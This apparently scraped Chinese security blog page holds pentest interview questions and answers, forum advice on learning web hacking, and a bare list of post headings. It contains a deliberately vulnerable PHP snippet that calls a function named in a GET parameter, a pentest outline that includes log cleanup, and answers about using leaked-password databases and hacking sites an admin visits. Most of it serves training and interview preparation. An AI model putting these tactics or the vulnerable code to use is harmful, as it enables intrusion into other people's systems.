3)掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数，一般以root账号为佳，具备`root账号所具备的权限的其它账号也可以。
4)可以将udf.dll写入到相应目录的权限。
mysql数据库默认有哪些库？说出库的名字
mysql的用户名密码是存放在那张表里面？mysql密码采用哪种加密方式？
mysql表权限里面，除了增删改查，文件读写，还有哪些权限？
mysql安全要如何做？
sqlserver public权限要如何提权
Windows、Linux、数据库的加固降权思路，任选其一
Linux
简述Linux系统安全加固需要做哪些方面
你使用什么工具来判断系统是否存在后门
Linux的Selinux是什么？如何设置Selinux？
iptables工作在TCPIP模型中的哪层？
如果无法升级内核，那么如何保证系统不被已知的exp提权？
syslog里面都有哪些日志？安装软件的日志去哪找？
如何查询ssh的登录日志？如何配置syslog的日志格式？
syslog可不可以使用vi等工具直接查看？是二进制文件吗？
信息采集
踩点都要采集哪些信息？
DNS在渗透中的作用
如何绕过CDN获取目标网站真实IP，谈谈你的思路？

<a href=“https://zhuanlan.zhihu.com/p/33440472”>绕过CDN寻找网站真实IP的方法汇总</a>
如果给你一个网站,你的渗透测试思路是什么?

在获取书面授权的前提下。
1)信息收集，
- 1，获取域名的whois信息,获取注册者邮箱姓名电话等。
- 2，查询服务器旁站以及子域名站点，因为主站一般比较难，所以先看看旁站有没有通用性的cms或者其他漏洞。
- 3，查看服务器操作系统版本，web中间件，看看是否存在已知的漏洞，比如IIS，APACHE,NGINX的解析漏洞
- 4，查看IP，进行IP地址端口扫描，对响应的端口进行漏洞探测，比如 rsync,心脏出血，mysql,ftp,ssh弱口令等。
- 5，扫描网站目录结构，看看是否可以遍历目录，或者敏感文件泄漏，比如php探针
- 6，google hack 进一步探测网站的信息，后台，敏感文件
2）漏洞扫描
- 开始检测漏洞，如XSS,XSRF,sql注入，代码执行，命令执行，越权访问，目录读取，任意文件读取，下载，文件包含，
  远程命令执行，弱口令，上传，编辑器漏洞，暴力破解等
3）漏洞利用
- 利用以上的方式拿到webshell，或者其他权限
4）权限提升 
- 提权服务器，比如windows下mysql的udf提权，serv-u提权，windows低版本的漏洞，如iis6,pr,巴西烤肉，
- linux脏牛漏洞，linux内核版本漏洞提权，linux下的mysql system提权以及oracle低权限提权
5）日志清理
6）总结报告及修复方案
谈一谈Windows系统与Linux系统提权的思路？
列举出您所知道的所有开源组件高危漏洞(十个以上)
反弹 shell 的常用命令？一般常反弹哪一种 shell？为什么？
描述一个你深入研究过的 CVE 或 POC。
CSRF 和 XSS 和 XXE 有什么区别，以及修复方式？
- XSS是跨站脚本攻击，用户提交的数据中可以构造代码来执行，从而实现窃取用户信息等攻击。修复方式：对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。
- CSRF是跨站请求伪造攻击，XSS是实现CSRF的诸多手段中的一种，是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式：筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer。
- XXE是XML外部实体注入攻击，XML中可以通过调用实体来请求本地或者远程内容，和远程文件保护类似，会引发相关安全问题，例如敏感文件读取。修复方式：XML解析库在调用时严格禁止对外部实体的解析。
CSRF、SSRF和重放攻击有什么区别？
- CSRF是跨站请求伪造攻击，由客户端发起
- SSRF是服务器端请求伪造，由服务器发起
- 重放攻击是将截获的数据包进行重放，达到身份认证等目的
说出至少三种业务逻辑漏洞，以及修复方式？
- 密码找回漏洞中存在密码允许暴力破解、存在通用型找回凭证、可以跳过验证步骤、找回凭证可以拦包获取等方式来通过厂商提供的密码找回功能来得到密码
- 身份认证漏洞中最常见的是会话固定攻击和 Cookie 仿冒，只要得到 Session 或 Cookie 即可伪造用户身份
- 验证码漏洞中存在验证码允许暴力破解、验证码可以通过 Javascript 或者改包的方法来进行绕过
发现 demo.jsp?uid=110 注入点，你有哪几种思路获取 webshell，哪种是优选？
CMD命令行如何查询远程终端开放端口
服务器为IIS+PHP+MySQL，发现root权限注入漏洞，讲讲你的渗透思路
说出XSS的三种类型，且在过滤”<>”号下如何绕过
请写出Mysql5数据库中查询库’helloworld’中’users’表所有列名的语句
下面这段代码存在漏洞吗？如果存在请说出存在什么漏洞并利用

http://www.exp.com/1.php  
<?php  
$s_func = $_GET['s_func'];
$info = $_GET['info'];
$s_func($info);
?>

菜刀被waf拦截后要怎么处理?

<a href=“https://xz.aliyun.com/t/2739/”>菜刀HTTP流量中转代理过WAF</a>
在渗透过程中，收集目标站注册人邮箱对我们有什么价值？
- 丢社工库里看看有没有泄露密码，然后尝试用泄露的密码进行登录后台。
- 用邮箱做关键词进行丢进搜索引擎。
- 利用搜索到的关联信息找出其他邮进而得到常用社交账号。
- 社工找出社交账号，里面或许会找出管理员设置密码的习惯。
- 利用已有信息生成专用字典。
- 观察管理员常逛哪些非大众性网站，拿下它，你会得到更多好东西。
判断出网站的CMS对渗透有什么意义？
- 查找网上已曝光的程序漏洞。
- 如果开源，还能下载相对应的源码进行代码审计。
一个成熟并且相对安全的CMS，渗透时扫目录的意义？
- 敏感文件、二级目录扫描
- 站长的误操作比如：网站备份的压缩文件、说明.txt、二级目录可能存放着其他站点
信息安全工程师（Web方向）
- 对于基础常见漏洞的理解和研究深度
  - Redis匿名访问的几种利用方式、产生原因以及修复方案
  - SSRF漏洞原理、利用方式及修复方案？Java和PHP的SSRF区别？
  - 简述JSONP劫持利用方式及修复方案？
- 对于常见安全应急响应的思路
  - Linux服务器中了木马后，请简述应急思路？
  - 遇到新0day(比如Struts2)后，应该如何进行应急响应？
- 对于工程开发的了解程度
  - 简述Python装饰器、迭代器、生成器原理及应用场景？
  - 简述Python进程、线程和协程的区别及应用场景？
安全开发工程师（java方向）
- 对于数据结构处理
  - 列表（list）结构转换为树状（tree）结构【笔试上机题】
  - 快速排序的过程和复杂度？
- 数据库相关
  - 数据库索引结构，什么情况下应该建唯一索引？
  - 数据库分页语句如何写？
- Java基础
  - 过滤器和拦截器原理和应用场景？
  - HashMap和Hashtable区别？
  - Java BIO/NIO/AIO是什么？适用哪些场景？
  - 调试工具及异常排查流程？
- 基础安全
  - 参数入库前应该如何过滤？
  - SESSION ID如何不被Javascript读取？
  - CSRF的Token如何设计？
  - 如何实现安全跨域请求？

Christmas

关于web渗透，如何才能迈出关键的一步？

来自于知乎友的问题：

对于渗透方面的各种教程，看了也不少了，其中黑客攻防技术宝典web实战篇这本对我帮助甚大，真正让我入门了，。brup suite ,w3af,sqlmap,nmap,metasploit,xss beef,各 种工具也都基本会用。但是接下来有点不知道该怎么办。各种sql注入，xss，phpinfo，robots.txt即使是一些老网站也找不出漏洞。虽然对各种漏洞都知道，就是找不出来，不知道如何攻下自己的第一个站点

知乎友1

太多的人都是处于这个阶段，这个阶段处于菜鸟阶段，我称为打哪是哪。
我来问问：brup suite你会用？你会用来做什么，爆破？
你知道怎么抓包分析post注入吗？
你知道绕过上传时brup suite的神奇之处吗？
sqlmap 你会用？你会用来做什么，-u？-dbs？
你知道怎么在sqlmap中执行sql语句吗？
你知道sqlmap怎么反弹shell吗？xss 你都懂？
你知道xss平台那么多模块都有什么妙用吗？
你知道尖括号过滤都有哪些绕过方式吗？
再问问你没提到的：你知道svn源代码泄露是什么？通过审计代码能做到什么吗？
你知道在发现st2漏洞命令执行时出现目录限制的时候怎么突破吗？
有多少种方式可以突破，在什么样的场景下容易出现，如果有杀软怎么绕过吗？
你知道在3306允许外链的情况下可以爆破吗？
你以为扫描器会把端口的风险都列出来给你吗？
你知道一个缜密的邮箱伪造&社工可能就能导致网站沦陷吗？
你知道遇到weblogic等弱口令的时候如何去部署war拿shell吗？
你知道各种java中间件的端口是哪些吗？
各种反序列化漏洞是怎么样快速定位数据库配置文件的吗？
你知道 **http://ASP.NET** 填充Oracle漏洞的利用方法吗？
你知道扫描器都是误报吗？你知道手工怎么测试漏洞真实存在吗？
你知道oa系统都有哪些通用注入和无限制getshell吗？
你知道phpmyadmin可以爆破吗？什么样的版本可以爆路径，
什么样的版本几乎拿不到shell吗？太多太多了，我上面提到的也只是web方面的冰山一角，
后面的提权、内网等等难题如海。我不知道你知不知道。
看你提问的样子，现在就处在一个使用扫描器扫漏洞，也不管误报不误报就是干，
知其然不知其所以然，漏洞利用也是经验少，就算给你一个很明显很明显的XSS漏洞，
估计做个限制你就没辙了。就算给你个sql注入，估计装个安全狗你就没辙了。
这点知识量你就觉得你自己入门了？我也不打击你了，我刚检测完一个网站，
我可以把网址发给你，这个网址存在多个漏洞，危害深入内网。
你能找出一个突破口达到内网漫游的地步，那才能证明你没白看书，没白学。
不要说自己不会提权，不会内网渗透。不会难道不能学？难道拿到shell了不该学提权？
难道发现服务器是内网不该学转发？难道转发完不能学域控？
给你24小时要是没进展我还可以把我搞定的全过程发给你。

知乎友2

不请自来，请见谅。我能理解你现在的这个状态我本身就是linux出身，
所以你所列举的工具在我学安全知识的时候，工具同样很顺畅。
但是也遇到了跟你一样的状况，可以理解成看别人的案例一看就会，
自己挖一头雾水……这个状况其实很正常，我遇到的很多人都有类似的状态。
这个状态的克服，首先需要时间……大概1-3个月。其次呢，静下心，
很多时候情报的搜集占据了绝大多数的时间。 
第三呢，我建议你先试着找个小套路不断地尝试，慢慢的积累，
而且去体会那个背后的原理，这样的话未来是能灵活的应用。
一个比较恶心的招数就是乌云案例看一个套路，然后测试白帽平台的厂商，
挨个来~给你个我之前这个阶段的套餐:1 找个白帽平台2 把厂商全搞下来3 子域名爆破，
分析ip地址段以及存在的服务4 ip段丢openvas5 web app进burp，
这步骤去手工点抓请求6你在步骤5的时候，看到了很多数据包格式，
去挖逻辑！7 爆破什么的，自己补充了就不论有没有结果，
遇到的任何东西，都总结下来，坚持一段时间，就会豁然开朗，
明白一个功能所对应的安全风险。最后一句，黑皮书好好看，那书是真棒。

Posts made by Christmas

Apache Shiro Java 反序列化漏洞分析及利用

0x00 项目地址

0x01 概述

0x02 漏洞环境

方法一：Docker环境搭建

方法二：Linux虚拟机或者VPS搭建tomcat及shiro环境

0x02 漏洞利用

0x03 漏洞修复

0x4 参考文档

自己一次线下AWD线下赛总结

关于AWD一些固定规则：

awd赛前技巧

防守技巧

Web题加固

内存马

webshell查杀

web加固

Apache安全加固

UmbreallSecEmergencyResponseTools

项目地址

使用及生产环境

生产环境下，检测状况

自用工具，不喜勿喷

问题描述

排查思路

登陆服务器

检查网络连接

检查系统进程

检查开机启动

检查登陆信息

查看系统登陆历史信息截图

检查系统账号

检查系统日志

问题处理

第一步 计划任务分析

第二步 系统进程分析

第三步 删除异常任务

安全建议

应急响应：linux服务器之挖矿病毒

0x00 前言

0x01 应急场景

0x02 传播途径

0x03 处理流程

0x04应急结束

服务器遭受CC攻击怎么搞？

解决：

WIndows服务器遭受CC攻击判别方法：

Linux服务器判别方法：

第二面也可能会有第三面第四面…技术面

技术面试问题

CTF

说一个印象深刻的CTF的题目

sql二次注入

Python

爬虫模块、框架、反爬虫机制（IP->代理池、验证码破解、UA）

并发(多线程、线程池、协程、三个程之间的区别)

常用的标准库

functools

DJANGO和FLASK区别和使用

ORM

python安全工具编写/源码阅读

证明能力

密码学

RSA

DES

AES

国内SM系列

风险评估

流程

三要素

代码审计

Fority SCA审计JAVA代码

Seay审计PHP代码

源码阅读

应急响应具体流程

模型

实例

DDOS

DDOS是什么

第一步计划任务分析

第二步系统进程分析

第三步删除异常任务

`WIndows`服务器遭受`CC`攻击判别方法：